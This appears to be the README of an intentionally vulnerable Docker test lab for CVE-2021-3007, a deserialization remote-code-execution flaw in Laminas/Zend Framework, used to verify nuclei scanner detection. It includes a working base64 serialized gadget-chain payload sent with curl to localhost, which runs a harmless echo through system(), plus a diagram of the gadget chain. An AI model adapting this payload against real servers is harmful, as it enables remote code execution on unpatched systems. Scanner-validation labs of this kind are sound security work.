
CVE-2021-3007 Vulnerable Test Environment - Laminas/Zend Framework Deserialization RCE
Преднамеренно уязвимая тестовая среда для проверки обнаружения CVE-2021-3007 в сканерах безопасности.
| Атрибут | Значение |
|---|---|
| CVE ID | CVE-2021-3007 |
| Серьёзность | Критическая (CVSS 9.8) |
| Тип | Небезопасная десериализация → Удалённое выполнение кода (RCE) |
| Затрагивает | Laminas HTTP < 2.14.2, Zend Framework 3.0.0 |
| CWE | CWE-502 (Десериализация недоверенных данных) |
# Clone repository
git clone https://github.com/KrE80r/CVE-2021-3007-vulnerable
cd CVE-2021-3007-vulnerable
# Start vulnerable environment
docker-compose up -d
# Verify it's running
curl http://localhost:8080
# Test with nuclei (optional)
nuclei -t CVE-2021-3007.yaml -u http://localhost:8080
# Cleanup
docker-compose down
docker-compose up -d && sleep 3 && curl -s http://localhost:8080 | head -1
# Send serialized payload triggering RCE
curl -X POST http://localhost:8080/ \
-d "data=TzoyODoiTGFtaW5hc1xIdHRwXFJlc3BvbnNlXFN0cmVhbSI6Mjp7czoxMDoiACoAY2xlYW51cCI7YjoxO3M6MTM6IgAqAHN0cmVhbU5hbWUiO086Mjg6IkxhbWluYXNcVmlld1xIZWxwZXJcR3JhdmF0YXIiOjI6e3M6NzoiACoAdmlldyI7TzozMzoiTGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyIjoxOntzOjQ0OiIATGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyAF9faGVscGVycyI7TzoyMToiTGFtaW5hc1xDb25maWdcQ29uZmlnIjoxOntzOjc6IgAqAGRhdGEiO2E6Mjp7czoxMDoiZXNjYXBlaHRtbCI7czo2OiJzeXN0ZW0iO3M6MTQ6ImVzY2FwZWh0bWxhdHRyIjtzOjE3OiJmaWxlX2dldF9jb250ZW50cyI7fX19czoxMzoiACoAYXR0cmlidXRlcyI7YToxOntzOjIyOiJlY2hvIG51Y2xlaUNWRTIwMjEzMDA3IjtpOjE7fX19"
# Ожидается: ответ содержит "nucleiCVE20213007", подтверждающий RCE
Laminas\Http\Response\Stream::__destruct()
└─► Laminas\View\Helper\Gravatar::__toString()
└─► Laminas\View\Renderer\PhpRenderer::plugin()
└─► Laminas\Config\Config::get()
└─► system() / file_get_contents()
| Пакет | Версия | Назначение |
|---|---|---|
| laminas/laminas-http | 2.14.1 | Уязвимый HTTP-компонент |
| laminas/laminas-view | 2.12.0 | Компонент цепочки гаджетов |
| laminas/laminas-config | 3.7.0 | Компонент цепочки гаджетов |
Приложение принимает сериализованные данные через POST:
/ или /index.phpdata, payload, serialized| Компонент | Значение |
|---|---|
| Базовый образ | php:8.1-apache |
| Порт | 8080 |
| Контейнер | cve-2021-3007-vulnerable |
.
├── Dockerfile # Конфигурация сборки контейнера
├── docker-compose.yml # Оркестрация (одноразовая настройка)
├── index.php # Уязвимое PHP-приложение
├── LICENSE # Лицензия MIT
└── README.md # Этот файл
ПРЕДУПРЕЖДЕНИЕ: Эта среда является преднамеренно уязвимой и предназначена только для целей тестирования безопасности.
НЕ ДЕЛАЙТЕ:
ДЕЛАЙТЕ:
Лицензия MIT — только для исследовательских и образовательных целей.
Создано для проверки шаблонов nuclei | projectdiscovery/nuclei-templates